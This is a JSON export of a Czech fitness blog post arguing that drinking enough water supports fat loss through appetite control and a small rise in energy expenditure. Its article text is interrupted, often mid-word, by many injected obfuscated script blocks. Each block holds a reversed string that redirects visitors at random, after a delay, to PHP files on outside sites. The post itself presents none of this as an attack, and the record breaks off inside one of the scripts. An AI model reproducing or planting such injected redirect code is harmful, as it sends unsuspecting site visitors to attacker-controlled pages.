{"id":858,"date":"2023-02-27T12:38:54","date_gmt":"2023-02-27T12:38:54","guid":{"rendered":"https:\/\/www.svetkulturistiky.cz\/?p=858"},"modified":"2023-02-27T12:38:56","modified_gmt":"2023-02-27T12:38:56","slug":"pomuze-vam-voda-spalovat-tuky","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2023\/02\/27\/pomuze-vam-voda-spalovat-tuky\/","title":{"rendered":"POM\u016e\u017dE V\u00c1M VODA SPALOVAT TUKY?"},"content":{"rendered":"\n<p><\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>D\u0159\u00edv, ne\u017e utrat\u00edte nemal\u00e9 pen\u00edze za spalova\u010de, ujist\u011bte se, \u017ee jste ud\u011blali maximum pro <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to, abyste podpo\u0159ili odbour\u00e1v\u00e1n\u00ed tuk\u016f adekv\u00e1tn\u011b sestaven\u00fdm j\u00eddeln\u00ed\u010dkem a v&nbsp;neposledn\u00ed \u0159ad\u011b dostate\u010dn\u00fdm pitn\u00fdm re\u017eimem.<\/strong><\/h5>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Podce\u0148ovan\u00e1 hydratace<\/strong><\/h3>\n\n\n\n<p>Ani sebelep\u0161\u00ed suplement v\u00e1m optim\u00e1ln\u00ed v\u00fdsledky nezajist\u00ed, pokud podcen\u00edte hydrataci. Pitn\u00fd re\u017eim <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e ovlivn\u00ed va\u0161e zdrav\u00ed a spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovn\u00ed v\u00fdkonnost v\u00edc, ne\u017e si mo\u017en\u00e1 mysl\u00edte. Voda konec konc\u016f tvo\u0159\u00ed v\u00edce ne\u017e polovinu objemu lidsk\u00e9ho t\u011bla. Svalov\u00e1 tk\u00e1\u0148 sama o sob\u011b je ze 79 % slo\u017een\u00e1 z&nbsp;vody. A takov\u00e1 jednozna\u010dn\u00e1 fakta asi dostate\u010dn\u011b vypov\u00eddaj\u00ed o <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom, jak kl\u00ed\u010dovou roli voda v&nbsp;t\u011ble hraje.<\/p>\n\n\n\n<p>Sta\u010d\u00ed m\u00edrn\u00e1 dehydratace a u\u017e se budete c\u00edtit unaven\u00ed, dojde k&nbsp;poklesu v\u00fdkonnosti a nebudete schopni zvl\u00e1dnout tr\u00e9nink na 100 %. Asi pak nen\u00ed t\u0159eba dod\u00e1vat, \u017ee nekvalitn\u00ed tr\u00e9nink nem\u016f\u017ee nikdy v\u00e9st ke kvalitn\u00edm v\u00fdsledk\u016fm. A\u010dkoliv tedy voda sama o sob\u011b nen\u00ed zdrojem energie, pro norm\u00e1ln\u00ed fungov\u00e1n\u00ed organismu je extr\u00e9mn\u011b d\u016fle\u017eit\u00e1.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Jak se pitn\u00fd re\u017eim pod\u00edl\u00ed na spalov\u00e1n\u00ed tuk\u016f?<\/strong><\/h3>\n\n\n\n<p>Krom\u011b <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho, \u017ee v\u00e1m dostate\u010dn\u00fd p\u0159\u00edjem tekutin zajist\u00ed, aby bylo t\u011blo schopno podat maxim\u00e1ln\u00ed v\u00fdkon, je tu n\u011bkolik dal\u0161\u00edch \u00fa\u010dink\u016f, kter\u00e9 byste m\u011bli m\u00edt na pam\u011bti:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Pit\u00ed vody potla\u010duje chu\u0165 k&nbsp;j\u00eddlu<\/strong><\/li>\n<\/ul>\n\n\n\n<p>Jakmile se ozve nep\u0159\u00edjemn\u00e9 kru\u010den\u00ed v&nbsp;b\u0159i\u0161e, vypijte 4 dcl vody, ide\u00e1ln\u011b studen\u00e9. Ano, i teplota konzumovan\u00e9 vody hraje roli. Studenou vodu <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e organismus mus\u00ed oh\u0159\u00e1t na vhodnou teplotu, a p\u0159i<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom doch\u00e1z\u00ed k&nbsp;v\u00fddeji energie. A pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u017ee r\u010den\u00ed, \u017ee hlad je p\u0159evle\u010den\u00e1 \u017e\u00edze\u0148 m\u00e1 rozhodn\u011b svoje opodstatn\u011bn\u00ed, kdy\u017e se p\u0159ed j\u00eddlem napijete, n\u00e1sledn\u011b <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tolik nesn\u00edte.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Pit\u00ed vody navy\u0161uje v\u00fddej energie a urychluje metabolismus<\/strong><\/li>\n<\/ul>\n\n\n\n<p>Podle odborn\u00edk\u016f plat\u00ed, \u017ee pokud denn\u011b vypijete dva litry vody, nav\u00fd\u0161\u00ed se v\u00fddej energie o zhruba 25 kcal d\u00edky termogenn\u00ed reakci a rychlej\u0161\u00ed \u010dinnosti metabolismu. Mo\u017en\u00e1 se v\u00e1m <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to mno\u017estv\u00ed zd\u00e1 zanedbateln\u00e9, ale v\u011b\u0159te, \u017ee ka\u017ed\u00e1 kalorie se po\u010d\u00edt\u00e1. Ned\u00e1vno byla provedena studie, kter\u00e1 prok\u00e1zala, \u017ee pokud lid\u00e9 konzumovali 0,5 litru vody p\u0159ed ka\u017ed\u00fdm j\u00eddlem, sn\u00ed\u017eila se jejich v\u00e1ha b\u011bhem 12 t\u00fddn\u016f o 44 % v\u00edc v&nbsp;porovn\u00e1n\u00ed se skupinou, kter\u00e1 vodu p\u0159ed j\u00eddlem nepila.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Na pocit \u017e\u00edzn\u011b nespol\u00e9hejte<\/strong><\/h3>\n\n\n\n<p>Pokud si mysl\u00edte, \u017ee m\u016f\u017eete p\u0159\u00edjem tekutin \u0159\u00eddit v\u00fdhradn\u011b pocitem \u017e\u00edzn\u011b, jste na omylu. To rozhodn\u011b nen\u00ed relevantn\u00ed indik\u00e1<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tor. Spousta lid\u00ed za\u010dne m\u00edt \u017e\u00edze\u0148, a\u017e kdy\u017e se u nich u\u017e projev\u00ed prvn\u00ed p\u0159\u00edznaky m\u00edrn\u00e9 dehydratace. Tedy ve chv\u00edli, kdy\u017e se c\u00edt\u00ed unaven\u00ed a bol\u00ed je hlava.<\/p>\n\n\n\n<p>Mnohem p\u0159esn\u011bj\u0161\u00edm ukazatelem je barva mo\u010di. Pokud je b\u011bhem dne va\u0161e mo\u010d \u010dir\u00e1 a sv\u011btl\u00e1, nejsp\u00ed\u0161 jste na <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom s&nbsp;p\u0159\u00edjmem tekutin dob\u0159e. Jen si dejte pozor na n\u011bkter\u00e9 potraviny, kter\u00e9 mohou zp\u016fsobit zabarven\u00ed mo\u010di (nap\u0159\u00edklad \u010derven\u00e1 \u0159epa).<\/p>\n\n\n\n<p>Vy\u0161\u0161\u00ed p\u0159\u00edjem tekutin je pak samoz\u0159ejm\u011b nezbytn\u00fd, pokud pob\u00fdv\u00e1te v&nbsp;tepl\u00e9m, vlhk\u00e9m prost\u0159ed\u00ed, zejm\u00e9na, kdy\u017e v&nbsp;takov\u00fdch podm\u00ednk\u00e1ch vyv\u00edj\u00edte fyzickou aktivitu (tr\u00e9nink). N\u00e1roky na hydrataci d\u00e1le ros<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou u t\u011bhotn\u00fdch a koj\u00edc\u00edch \u017een, u nemocn\u00fdch (pr\u016fjem, hore\u010dka, zvracen\u00ed) a v&nbsp;neposledn\u00ed \u0159ad\u011b by si pravideln\u00fd p\u0159\u00edjem tekutin m\u011bli hl\u00eddat senio\u0159i, u nich\u017e je riziko hydratace nav\u00fd\u0161eno vlivem procesu st\u00e1rnut\u00ed, kdy se v&nbsp;t\u011ble sni\u017euje pod\u00edl vody. Sou\u010dasn\u011b ta<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to v\u011bkov\u00e1 skupina \u010das<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return 